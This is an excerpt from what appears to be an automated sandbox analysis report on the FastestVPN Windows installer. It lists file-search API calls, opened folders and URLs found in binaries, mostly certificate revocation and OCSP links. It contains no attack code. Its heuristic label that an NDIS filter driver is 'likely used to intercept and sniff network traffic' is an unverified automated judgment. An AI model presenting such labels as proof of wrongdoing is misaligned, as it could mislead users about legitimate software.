    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEDD3630 GetWindowsDirectoryW,FindFirstFileW,FindNextFileW,FindClose,12_2_00007FF7FEDD3630
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE0ECAC FindFirstFileExW,FindNextFileW,FindClose,12_2_00007FF7FEE0ECAC
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE0E810 FindFirstFileExW,12_2_00007FF7FEE0E810
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE0E0B0 _invalid_parameter_noinfo,_invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,12_2_00007FF7FEE0E0B0
    Source: C:\Program Files\FastestVPN\subinacl.exeCode function: 40_2_0103172D __EH_prolog,#540,#922,#858,#800,#2910,wcslen,#2910,wcslen,#823,GetLastError,_CxxThrowException,#2910,#2910,swprintf,FindFirstFileW,GetLastError,#825,#2910,FindFirstFileW,wcscmp,wcscmp,wcscmp,#535,#942,#942,#535,#942,#942,#800,FindNextFileW,FindClose,#800,40_2_0103172D
    Source: C:\Program Files\FastestVPN\subinacl.exeCode function: 40_2_01031DDF __EH_prolog,#540,#925,#858,#800,#2910,wcslen,wcslen,#2910,wcslen,#823,GetLastError,_CxxThrowException,#2910,#2910,swprintf,FindFirstFileW,GetLastError,#825,#2910,FindFirstFileW,wcscmp,wcscmp,#540,#538,#922,#925,#858,#800,#800,#800,#925,#800,#858,#800,FindNextFileW,FindClose,#800,40_2_01031DDF
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_100163B0 GetLogicalDriveStringsW,QueryDosDeviceW,GetDriveTypeW,EnterCriticalSection,LeaveCriticalSection,28_2_100163B0
    Source: C:\Windows\System32\cmd.exeFile opened: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\Jump to behavior
    Source: C:\Windows\System32\cmd.exeFile opened: C:\Program Files\FastestVPN\Jump to behavior
    Source: C:\Windows\System32\cmd.exeFile opened: C:\Program Files\FastestVPN\Resources\Jump to behavior
    Source: C:\Windows\System32\cmd.exeFile opened: C:\Program Files\FastestVPN\Resources\driver\windows10\Jump to behavior
    Source: C:\Windows\System32\cmd.exeFile opened: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64Jump to behavior
    Source: C:\Windows\System32\cmd.exeFile opened: C:\Program Files\FastestVPN\Resources\driver\Jump to behavior

    Networking

    barindex
    NDIS Filter Driver detected (likely used to intercept and sniff network traffic)
    Source: is-I39KV.tmp.2.drStatic PE information: Found NDIS imports: FwpmFilterDeleteById0, FwpmSubLayerDeleteByKey0, FwpmSubLayerAdd0, FwpmuserClose0, FwpmuserOpen0, FwpmFilterAdd0, FwpmGetAppIdFromFileName0
    Source: mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3428025746.000000000B751000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584575757.0000000001A20000.00000004.00000020.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-SRDRF.tmp.2.dr, is-L52FN.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-935KR.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-0N43E.tmp.2.dr, is-AKR35.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-6ANJF.tmp.2.dr, is-625EJ.tmp.2.drString found in binary or memory: http://aia.entrust.net/ts2-chain256.p7c01
    Source: FastestVPN.WindowsService.exe, 00000027.00000002.2586520837.00000000067DC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/
    Source: xcopy.exe, 0000001B.00000002.2511066457.000001C8921CB000.00000004.00000020.00020000.00000000.sdmp, is-FH0V4.tmp.2.dr, is-A7TIP.tmp.2.dr, is-ECRGA.tmp.2.drString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
    Source: xcopy.exe, 0000001B.00000002.2511066457.000001C8921CB000.00000004.00000020.00020000.00000000.sdmp, is-FH0V4.tmp.2.dr, is-A7TIP.tmp.2.dr, is-5MM1Q.tmp.2.dr, is-S1CTK.tmp.2.dr, is-ECRGA.tmp.2.dr, is-AONU2.tmp.2.drString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
    Source: is-8HGA9.tmp.2.drString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
    Source: is-8HGA9.tmp.2.drString found in binary or memory: http://cacerts.digicert.com/DigiCertCSRSA4096RootG5.crt0E
    Source: xcopy.exe, 0000001B.00000002.2511066457.000001C8921CB000.00000004.00000020.00020000.00000000.sdmp, is-FH0V4.tmp.2.dr, is-A7TIP.tmp.2.dr, is-5MM1Q.tmp.2.dr, is-S1CTK.tmp.2.dr, is-ECRGA.tmp.2.dr, is-AONU2.tmp.2.drString found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
    Source: xcopy.exe, 0000001B.00000002.2511066457.000001C8921CB000.00000004.00000020.00020000.00000000.sdmp, is-FH0V4.tmp.2.dr, is-A7TIP.tmp.2.dr, is-5MM1Q.tmp.2.dr, is-S1CTK.tmp.2.dr, is-ECRGA.tmp.2.dr, is-AONU2.tmp.2.drString found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
    Source: is-FH0V4.tmp.2.dr, is-5MM1Q.tmp.2.dr, is-S1CTK.tmp.2.dr, is-AONU2.tmp.2.drString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
    Source: is-FH0V4.tmp.2.drString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2HighAssuranceCodeSigningCA.crt0
    Source: mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3423794834.00000000090B1000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3423478604.0000000009076000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3420816687.0000000009036000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2586317312.000000000608C000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584631985.0000000003345000.00000004.00000800.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-L52FN.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-AKR35.tmp.2.dr, is-6ANJF.tmp.2.dr, is-43KDF.tmp.2.dr, is-GCC8H.tmp.2.dr, is-BN7P3.tmp.2.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
    Source: is-8HGA9.tmp.2.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
    Source: FastestVPN.WindowsService.exe, 00000027.00000002.2586052394.0000000006000000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt
    Source: mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000020.00000002.2558583628.0000000002D16000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-8HGA9.tmp.2.dr, is-L52FN.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-AKR35.tmp.2.dr, is-6ANJF.tmp.2.dr, is-43KDF.tmp.2.dr, is-GCC8H.tmp.2.dr, is-BN7P3.tmp.2.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
    Source: is-8HGA9.tmp.2.drString found in binary or memory: http://cacerts.digicert.com/NETFoundationProjectsCodeSigningCA2.crt0
    Source: mapMd1URzq.exeString found in binary or memory: http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0Q
    Source: mapMd1URzq.exeString found in binary or memory: http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0_
    Source: is-SRDRF.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-935KR.tmp.2.dr, is-0N43E.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-625EJ.tmp.2.drString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
    Source: mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3414817690.00000000065BA000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584575757.0000000001A20000.00000004.00000020.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-SRDRF.tmp.2.dr, is-L52FN.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-935KR.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-0N43E.tmp.2.dr, is-AKR35.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-6ANJF.tmp.2.dr, is-625EJ.tmp.2.drString found in binary or memory: http://crl.entrust.net/csbr1.crl0
    Source: mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3414817690.00000000065BA000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584575757.0000000001A20000.00000004.00000020.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-SRDRF.tmp.2.dr, is-L52FN.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-935KR.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-0N43E.tmp.2.dr, is-AKR35.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-6ANJF.tmp.2.dr, is-625EJ.tmp.2.drString found in binary or memory: http://crl.entrust.net/g2ca.crl0
    Source: mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3428025746.000000000B751000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584575757.0000000001A20000.00000004.00000020.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-SRDRF.tmp.2.dr, is-L52FN.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-935KR.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-0N43E.tmp.2.dr, is-AKR35.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-6ANJF.tmp.2.dr, is-625EJ.tmp.2.drString found in binary or memory: http://crl.entrust.net/ts2ca.crl0
    Source: powershell.exe, 0000002E.00000002.2645162412.000000000789B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.microsoft
    Source: is-SRDRF.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-935KR.tmp.2.dr, is-0N43E.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-625EJ.tmp.2.drString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
    Source: is-SRDRF.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-935KR.tmp.2.dr, is-0N43E.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-625EJ.tmp.2.drString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
    Source: svchost.exe, 00000033.00000002.3390638016.000001D2B4200000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.ver)
    Source: xcopy.exe, 0000001B.00000002.2511066457.000001C8921CB000.00000004.00000020.00020000.00000000.sdmp, is-FH0V4.tmp.2.dr, is-A7TIP.tmp.2.dr, is-ECRGA.tmp.2.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
    Source: is-8HGA9.tmp.2.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
    Source: xcopy.exe, 0000001B.00000002.2511066457.000001C8921CB000.00000004.00000020.00020000.00000000.sdmp, is-FH0V4.tmp.2.dr, is-A7TIP.tmp.2.dr, is-ECRGA.tmp.2.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
    Source: is-FH0V4.tmp.2.dr, is-5MM1Q.tmp.2.dr, is-S1CTK.tmp.2.dr, is-AONU2.tmp.2.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
    Source: is-8HGA9.tmp.2.drString found in binary or memory: http://crl3.digicert.com/DigiCertCSRSA4096RootG5.crl0
    Source: xcopy.exe, 0000001B.00000002.2511066457.000001C8921CB000.00000004.00000020.00020000.00000000.sdmp, is-FH0V4.tmp.2.dr, is-A7TIP.tmp.2.dr, is-5MM1Q.tmp.2.dr, is-S1CTK.tmp.2.dr, is-ECRGA.tmp.2.dr, is-AONU2.tmp.2.drString found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
    Source: is-FH0V4.tmp.2.drString found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0O
    Source: mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3423794834.00000000090B1000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3423478604.0000000009076000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3420816687.0000000009036000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2586317312.000000000608C000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584631985.0000000003345000.00000004.00000800.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-L52FN.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-AKR35.tmp.2.dr, is-6ANJF.tmp.2.dr, is-43KDF.tmp.2.dr, is-GCC8H.tmp.2.dr, is-BN7P3.tmp.2.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
    Source: is-8HGA9.tmp.2.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
    Source: mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-8HGA9.tmp.2.dr, is-L52FN.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-AKR35.tmp.2.dr, is-6ANJF.tmp.2.dr, is-43KDF.tmp.2.dr, is-GCC8H.tmp.2.dr, is-BN7P3.tmp.2.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
    Source: xcopy.exe, 0000001B.00000002.2511066457.000001C8921CB000.00000004.00000020.00020000.00000000.sdmp, is-FH0V4.tmp.2.dr, is-A7TIP.tmp.2.dr, is-5MM1Q.tmp.2.dr, is-S1CTK.tmp.2.dr, is-ECRGA.tmp.2.dr, is-AONU2.tmp.2.drString found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
    Source: is-8HGA9.tmp.2.drString found in binary or memory: http://crl3.digicert.com/NETFoundationProjectsCodeSigningCA2.crl0F
    Source: is-FH0V4.tmp.2.dr, is-5MM1Q.tmp.2.dr, is-S1CTK.tmp.2.dr, is-AONU2.tmp.2.drString found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
    Source: is-FH0V4.tmp.2.drString found in binary or memory: http://crl3.digicert.com/sha2-ha-cs-g1.crl00
    Source: xcopy.exe, 0000001B.00000002.2511066457.000001C8921CB000.00000004.00000020.00020000.00000000.sdmp, is-FH0V4.tmp.2.dr, is-A7TIP.tmp.2.dr, is-ECRGA.tmp.2.drString found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
    Source: xcopy.exe, 0000001B.00000002.2511066457.000001C8921CB000.00000004.00000020.00020000.00000000.sdmp, is-FH0V4.tmp.2.dr, is-A7TIP.tmp.2.dr, is-ECRGA.tmp.2.drString found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
    Source: is-FH0V4.tmp.2.dr, is-5MM1Q.tmp.2.dr, is-S1CTK.tmp.2.dr, is-AONU2.tmp.2.drString found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
    Source: is-FH0V4.tmp.2.dr, is-A7TIP.tmp.2.dr, is-5MM1Q.tmp.2.dr, is-S1CTK.tmp.2.dr, is-ECRGA.tmp.2.dr, is-AONU2.tmp.2.drString found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
    Source: mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3423794834.00000000090B1000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3423478604.0000000009076000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3420816687.0000000009036000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2586317312.000000000608C000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584631985.0000000003345000.00000004.00000800.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-L52FN.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-AKR35.tmp.2.dr, is-6ANJF.tmp.2.dr, is-43KDF.tmp.2.dr, is-GCC8H.tmp.2.dr, is-BN7P3.tmp.2.drString found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
    Source: FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertTrustr
    Source: xcopy.exe, 0000001B.00000002.2511066457.000001C8921CB000.00000004.00000020.00020000.00000000.sdmp, is-FH0V4.tmp.2.dr, is-A7TIP.tmp.2.dr, is-5MM1Q.tmp.2.dr, is-S1CTK.tmp.2.dr, is-ECRGA.tmp.2.dr, is-AONU2.tmp.2.drString found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
    Source: is-8HGA9.tmp.2.drString found in binary or memory: http://crl4.digicert.com/NETFoundationProjectsCodeSigningCA2.crl0=
    Source: is-FH0V4.tmp.2.dr, is-5MM1Q.tmp.2.dr, is-S1CTK.tmp.2.dr, is-AONU2.tmp.2.drString found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
    Source: is-FH0V4.tmp.2.drString found in binary or memory: http://crl4.digicert.com/sha2-ha-cs-g1.crl0L
    Source: mapMd1URzq.exeString found in binary or memory: http://crls.ssl.com/SSL.com-timeStamping-I-RSA-R1.crl0
    Source: mapMd1URzq.exeString found in binary or memory: http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0
    Source: mapMd1URzq.exeString found in binary or memory: http://crls.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.crl0
    Source: mapMd1URzq.exeString found in binary or memory: http://crls.ssl.com/ssl.com-rsa-RootCA.crl0
    Source: is-SRDRF.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-935KR.tmp.2.dr, is-0N43E.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-625EJ.tmp.2.drString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
    Source: is-SRDRF.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-935KR.tmp.2.dr, is-0N43E.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-625EJ.tmp.2.drString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
    Source: FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.0000000001628000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
    Source: FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
    Source: FastestVPN.exe, 00000024.00000002.3392171368.00000000037AB000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3392171368.00000000033A3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://defaultcontainer/FastestVPN;component/Assets/Fonts/outfit-variablefont_wght.ttf
    Source: FastestVPN.exe, 00000024.00000002.3392171368.00000000037AB000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3392171368.00000000033A3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://defaultcontainer/FastestVPN;component/Assets/Fonts/outfit-variablefont_wght.ttfd
    Source: svchost.exe, 00000033.00000003.2624525751.000001D2B40C0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
    Source: FastestVPN.exe, 00000034.00000002.2675752103.0000000003341000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo.com/foo
    Source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413769590.00000000061A2000.00000002.00000001.01000000.0000001E.sdmp, is-1G987.tmp.2.drString found in binary or memory: http://ip-api.com/json
    Source: is-8HGA9.tmp.2.drString found in binary or memory: http://james.newtonking.com/projects/json
    Source: powershell.exe, 0000002E.00000002.2641589469.00000000060D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
    Source: is-SRDRF.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-935KR.tmp.2.dr, is-0N43E.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-625EJ.tmp.2.drString found in binary or memory: http://ocsp.comodoca.com0
    Source: mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3423794834.00000000090B1000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3423478604.0000000009076000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3420816687.0000000009036000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2586317312.000000000608C000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584631985.0000000003345000.00000004.00000800.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-L52FN.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-AKR35.tmp.2.dr, is-6ANJF.tmp.2.dr, is-43KDF.tmp.2.dr, is-GCC8H.tmp.2.dr, is-BN7P3.tmp.2.drString found in binary or memory: http://ocsp.digicert.com0
    Source: mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, xcopy.exe, 0000001B.00000002.2511066457.000001C8921CB000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000020.00000002.2558583628.0000000002D16000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-FH0V4.tmp.2.dr, is-A7TIP.tmp.2.dr, is-8HGA9.tmp.2.dr, is-L52FN.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-AKR35.tmp.2.dr, is-ECRGA.tmp.2.dr, is-6ANJF.tmp.2.dr, is-43KDF.tmp.2.dr, is-GCC8H.tmp.2.dr, is-BN7P3.tmp.2.drString found in binary or memory: http://ocsp.digicert.com0A
    Source: xcopy.exe, 0000001B.00000002.2511066457.000001C8921CB000.00000004.00000020.00020000.00000000.sdmp, is-FH0V4.tmp.2.dr, is-A7TIP.tmp.2.dr, is-8HGA9.tmp.2.dr, is-5MM1Q.tmp.2.dr, is-S1CTK.tmp.2.dr, is-ECRGA.tmp.2.dr, is-AONU2.tmp.2.drString found in binary or memory: http://ocsp.digicert.com0C
    Source: xcopy.exe, 0000001B.00000002.2511066457.000001C8921CB000.00000004.00000020.00020000.00000000.sdmp, is-FH0V4.tmp.2.dr, is-A7TIP.tmp.2.dr, is-5MM1Q.tmp.2.dr, is-S1CTK.tmp.2.dr, is-ECRGA.tmp.2.dr, is-AONU2.tmp.2.drString found in binary or memory: http://ocsp.digicert.com0H
    Source: xcopy.exe, 0000001B.00000002.2511066457.000001C8921CB000.00000004.00000020.00020000.00000000.sdmp, is-FH0V4.tmp.2.dr, is-A7TIP.tmp.2.dr, is-5MM1Q.tmp.2.dr, is-S1CTK.tmp.2.dr, is-ECRGA.tmp.2.dr, is-AONU2.tmp.2.drString found in binary or memory: http://ocsp.digicert.com0I
    Source: is-FH0V4.tmp.2.dr, is-8HGA9.tmp.2.dr, is-5MM1Q.tmp.2.dr, is-S1CTK.tmp.2.dr, is-AONU2.tmp.2.drString found in binary or memory: http://ocsp.digicert.com0O
    Source: is-FH0V4.tmp.2.drString found in binary or memory: http://ocsp.digicert.com0R
    Source: is-8HGA9.tmp.2.drString found in binary or memory: http://ocsp.digicert.com0X
